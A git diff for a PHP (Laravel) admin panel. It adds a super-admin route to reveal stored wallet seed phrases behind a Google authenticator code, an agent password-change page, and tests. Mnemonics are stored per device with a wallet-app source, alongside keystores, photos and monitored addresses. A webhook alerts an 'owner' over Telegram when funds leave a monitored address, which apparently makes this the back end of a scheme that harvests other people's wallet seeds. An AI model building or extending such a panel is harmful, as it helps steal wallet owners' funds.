diff --git a/routes/admin.php b/routes/admin.php
index 2afb30d..aa5d614 100644
--- a/routes/admin.php
+++ b/routes/admin.php
@@ -60,6 +60,9 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
+ Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal'])
+ ->middleware('admin.super')
+ ->name('mnemonics.reveal');
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
diff --git a/routes/user.php b/routes/user.php
index 0ee755c..669bf9f 100644
--- a/routes/user.php
+++ b/routes/user.php
@@ -12,6 +12,7 @@ use App\Http\Controllers\Admin\PhotoController;
use App\Http\Controllers\Admin\TransferRecordController;
use App\Http\Controllers\Admin\WalletAddressController;
use App\Http\Controllers\Agent\AuthController;
+use App\Http\Controllers\Agent\PasswordController;
use Illuminate\Support\Facades\Route;
Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(function () {
@@ -22,6 +23,9 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::post('logout', [AuthController::class, 'logout'])->name('logout');
Route::get('/', [AuthController::class, 'home'])->name('home');
+ Route::get('password', [PasswordController::class, 'index'])->name('password.index');
+ Route::put('password', [PasswordController::class, 'update'])->name('password.update');
+
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
diff --git a/tests/Feature/AdminLoginTest.php b/tests/Feature/AdminLoginTest.php
index f82037d..1dd3de4 100644
--- a/tests/Feature/AdminLoginTest.php
+++ b/tests/Feature/AdminLoginTest.php
@@ -105,6 +105,29 @@ class AdminLoginTest extends TestCase
$this->assertAuthenticated('admin');
}
+ #[Test]
+ public function google2fa_bound_without_login_verify_skips_code(): void
+ {
+ $google2fa = app(AdminGoogle2fa::class);
+ $secret = $google2fa->generateSecret();
+
+ Admin::query()->create([
+ 'username' => 'admin',
+ 'password' => 'admin123',
+ 'status' => 1,
+ 'google_auth_open' => 0,
+ 'google_secret' => $secret,
+ ]);
+
+ $this->post('/admin/login', [
+ 'username' => 'admin',
+ 'password' => 'admin123',
+ ])->assertOk()
+ ->assertJson(['code' => 0]);
+
+ $this->assertAuthenticated('admin');
+ }
+
#[Test]
public function login_is_rate_limited_after_failures(): void
{
diff --git a/tests/Feature/AgentPasswordTest.php b/tests/Feature/AgentPasswordTest.php
new file mode 100644
index 0000000..115c5a4
--- /dev/null
+++ b/tests/Feature/AgentPasswordTest.php
@@ -0,0 +1,105 @@
+create([
+ 'username' => 'okagent',
+ 'password' => $password,
+ 'status' => 1,
+ ]);
+ }
+
+ #[Test]
+ public function guest_cannot_open_password_page(): void
+ {
+ $this->get(route('user.password.index'))
+ ->assertRedirect(route('user.login'));
+ }
+
+ #[Test]
+ public function agent_can_open_password_page(): void
+ {
+ $this->actingAs($this->agent(), 'agent')
+ ->get(route('user.password.index'))
+ ->assertOk()
+ ->assertSee('修改密码')
+ ->assertSee('okagent');
+ }
+
+ #[Test]
+ public function agent_can_change_password(): void
+ {
+ $agent = $this->agent();
+
+ $this->actingAs($agent, 'agent')
+ ->putJson(route('user.password.update'), [
+ 'current_password' => 'secret12',
+ 'password' => 'newpass12',
+ 'password_confirmation' => 'newpass12',
+ ])
+ ->assertOk()
+ ->assertJson(['code' => 0]);
+
+ $agent->refresh();
+ $this->assertTrue(Hash::check('newpass12', $agent->password));
+ $this->assertFalse(Hash::check('secret12', $agent->password));
+ $this->assertAuthenticated('agent');
+ }
+
+ #[Test]
+ public function wrong_current_password_is_rejected(): void
+ {
+ $agent = $this->agent();
+
+ $this->actingAs($agent, 'agent')
+ ->putJson(route('user.password.update'), [
+ 'current_password' => 'wrong-old',
+ 'password' => 'newpass12',
+ 'password_confirmation' => 'newpass12',
+ ])
+ ->assertOk()
+ ->assertJson(['code' => 1, 'msg' => '当前密码不正确']);
+
+ $agent->refresh();
+ $this->assertTrue(Hash::check('secret12', $agent->password));
+ }
+
+ #[Test]
+ public function confirmation_mismatch_is_rejected(): void
+ {
+ $this->actingAs($this->agent(), 'agent')
+ ->putJson(route('user.password.update'), [
+ 'current_password' => 'secret12',
+ 'password' => 'newpass12',
+ 'password_confirmation' => 'mismatch',
+ ])
+ ->assertStatus(422);
+ }
+
+ #[Test]
+ public function same_password_is_rejected(): void
+ {
+ $agent = $this->agent();
+
+ $this->actingAs($agent, 'agent')
+ ->putJson(route('user.password.update'), [
+ 'current_password' => 'secret12',
+ 'password' => 'secret12',
+ 'password_confirmation' => 'secret12',
+ ])
+ ->assertOk()
+ ->assertJson(['code' => 1, 'msg' => '新密码不能与当前密码相同']);
+ }
+}
diff --git a/tests/Feature/MnemonicRevealTest.php b/tests/Feature/MnemonicRevealTest.php
new file mode 100644
index 0000000..40dad9f
--- /dev/null
+++ b/tests/Feature/MnemonicRevealTest.php
@@ -0,0 +1,185 @@
+create(['device_id' => 'dev-reveal-1']);
+ $row = new WalletMnemonic([
+ 'device_id' => $device->id,
+ 'source' => 'imToken',
+ ]);
+ $row->mnemonic = self::PHRASE;
+ $row->save();
+
+ return $row;
+ }
+
+ private function bindSecret(Admin $admin): string
+ {
+ $secret = app(AdminGoogle2fa::class)->generateSecret();
+ $admin->forceFill([
+ 'google_secret' => $secret,
+ 'google_auth_open' => 0,
+ ])->save();
+
+ return $secret;
+ }
+
+ private function otp(string $secret): string
+ {
+ return (new Google2FA)->getCurrentOtp($secret);
+ }
+
+ #[Test]
+ public function list_stays_masked_and_super_sees_reveal_url(): void
+ {
+ $admin = Admin::query()->create([
+ 'username' => 'root',
+ 'password' => 'secret12',
+ 'is_super' => 1,
+ ]);
+ $mnemonic = $this->storeMnemonic();
+
+ $this->actingAs($admin, 'admin')
+ ->getJson(route('admin.mnemonics.data'))
+ ->assertOk()
+ ->assertJsonPath('data.0.id', $mnemonic->id)
+ ->assertJsonPath('data.0.mnemonic', 'abandon *** about')
+ ->assertJsonPath('data.0.can_reveal', true)
+ ->assertJsonPath('data.0.reveal_url', route('admin.mnemonics.reveal', $mnemonic));
+ }
+
+ #[Test]
+ public function normal_admin_list_has_no_reveal(): void
+ {
+ $admin = Admin::query()->create([
+ 'username' => 'staff',
+ 'password' => 'secret12',
+ 'is_super' => 0,
+ ]);
+ $this->storeMnemonic();
+
+ $this->actingAs($admin, 'admin')
+ ->getJson(route('admin.mnemonics.data'))
+ ->assertOk()
+ ->assertJsonPath('data.0.can_reveal', false)
+ ->assertJsonPath('data.0.reveal_url', '');
+ }
+
+ #[Test]
+ public function super_reveals_after_google_code(): void
+ {
+ $admin = Admin::query()->create([
+ 'username' => 'root',
+ 'password' => 'secret12',
+ 'is_super' => 1,
+ ]);
+ $secret = $this->bindSecret($admin);
+ $mnemonic = $this->storeMnemonic();
+
+ $this->actingAs($admin, 'admin')
+ ->postJson(route('admin.mnemonics.reveal', $mnemonic), [
+ 'GACode' => $this->otp($secret),
+ ])
+ ->assertOk()
+ ->assertJsonPath('code', 0)
+ ->assertJsonPath('data.mnemonic', self::PHRASE);
+ }
+
+ #[Test]
+ public function reveal_rejects_wrong_code(): void
+ {
+ $admin = Admin::query()->create([
+ 'username' => 'root',
+ 'password' => 'secret12',
+ 'is_super' => 1,
+ ]);
+ $this->bindSecret($admin);
+ $mnemonic = $this->storeMnemonic();
+
+ $this->actingAs($admin, 'admin')
+ ->postJson(route('admin.mnemonics.reveal', $mnemonic), [
+ 'GACode' => '000000',
+ ])
+ ->assertOk()
+ ->assertJson(['code' => 1, 'msg' => '谷歌验证码不正确']);
+ }
+
+ #[Test]
+ public function reveal_requires_bound_google(): void
+ {
+ $admin = Admin::query()->create([
+ 'username' => 'root',
+ 'password' => 'secret12',
+ 'is_super' => 1,
+ ]);
+ $mnemonic = $this->storeMnemonic();
+
+ $this->actingAs($admin, 'admin')
+ ->postJson(route('admin.mnemonics.reveal', $mnemonic), [
+ 'GACode' => '123456',
+ ])
+ ->assertOk()
+ ->assertJsonPath('code', 1);
+ }
+
+ #[Test]
+ public function normal_admin_cannot_reveal(): void
+ {
+ $admin = Admin::query()->create([
+ 'username' => 'staff',
+ 'password' => 'secret12',
+ 'is_super' => 0,
+ ]);
+ $this->bindSecret($admin);
+ $mnemonic = $this->storeMnemonic();
+
+ $this->actingAs($admin, 'admin')
+ ->postJson(route('admin.mnemonics.reveal', $mnemonic), [
+ 'GACode' => '123456',
+ ])
+ ->assertForbidden();
+ }
+
+ #[Test]
+ public function bind_can_skip_login_verify(): void
+ {
+ $admin = Admin::query()->create([
+ 'username' => 'root',
+ 'password' => 'secret12',
+ 'is_super' => 1,
+ ]);
+ $google2fa = app(AdminGoogle2fa::class);
+ $secret = $google2fa->generateSecret();
+
+ $this->actingAs($admin, 'admin')
+ ->withSession(['admin_google2fa_pending_secret' => $secret])
+ ->postJson(route('admin.security.google2fa.bind'), [
+ 'GASecret' => $secret,
+ 'GAKey' => $this->otp($secret),
+ 'login_verify' => 0,
+ ])
+ ->assertOk()
+ ->assertJsonPath('code', 0);
+
+ $admin->refresh();
+ $this->assertTrue($admin->hasGoogleBound());
+ $this->assertFalse($admin->requiresLoginGoogle());
+ }
+}
diff --git a/tests/Feature/TokenviewWebhookTest.php b/tests/Feature/TokenviewWebhookTest.php
index 30ab7e0..ba266b4 100644
--- a/tests/Feature/TokenviewWebhookTest.php
+++ b/tests/Feature/TokenviewWebhookTest.php
@@ -184,6 +184,71 @@ class TokenviewWebhookTest extends TestCase
});
}
+ #[Test]
+ public function webhook_notifies_tron_outbound_after_chain_refresh(): void
+ {
+ config(['coruna.tokenview.sign_key' => '']);
+ Http::fake(function ($request) {
+ $url = $request->url();
+ if (str_contains($url, '/v1/accounts/')) {
+ return Http::response([
+ 'data' => [[
+ 'balance' => 15_043_359,
+ 'trc20' => [
+ ['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '45601000'],
+ ],
+ ]],
+ 'success' => true,
+ ], 200);
+ }
+ if (str_contains($url, 'api.telegram.org')) {
+ return Http::response(['ok' => true], 200);
+ }
+
+ return Http::response(['ok' => true], 200);
+ });
+ config([
+ 'coruna.telegram.bot_token' => 'bot-token',
+ 'coruna.telegram.owner_chat_id' => '12345',
+ ]);
+
+ $addr = $this->seedMonitoredAddress([
+ 'address' => 'TDZFQVZJLW3J7dpS9kCE45C8tUxBLwfinD',
+ 'chain_type' => 'TRON',
+ 'trx' => 15.0,
+ 'usdt' => 545.601,
+ 'eth' => null,
+ ]);
+
+ $payload = [
+ 'address' => 'TDZFQVZJLW3J7dpS9kCE45C8tUxBLwfinD',
+ 'txid' => 'a37a08e7cc424528276b7bf9aff5feb8076e14851feb2d2a6e01ac34de68e404',
+ 'coin' => 'TRX',
+ 'tokenSymbol' => 'USDT',
+ 'tokenValue' => '-500',
+ 'value' => '0',
+ ];
+
+ $this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
+
+ $addr->refresh();
+ $this->assertEqualsWithDelta(15.043359, (float) $addr->trx, 0.0000001);
+ $this->assertEqualsWithDelta(45.601, (float) $addr->usdt, 0.0000001);
+
+ Http::assertSent(function ($request) {
+ if (! str_contains($request->url(), 'api.telegram.org')) {
+ return false;
+ }
+ $text = (string) ($request->data()['text'] ?? '');
+
+ return str_contains($text, '余额转出')
+ && str_contains($text, '-500 USDT')
+ && ! str_contains($text, '余额入账')
+ && str_contains($text, '余额')
+ && str_contains($text, '45.6');
+ });
+ }
+
#[Test]
public function webhook_ignores_tron_when_token_is_not_trx_or_usdt(): void
{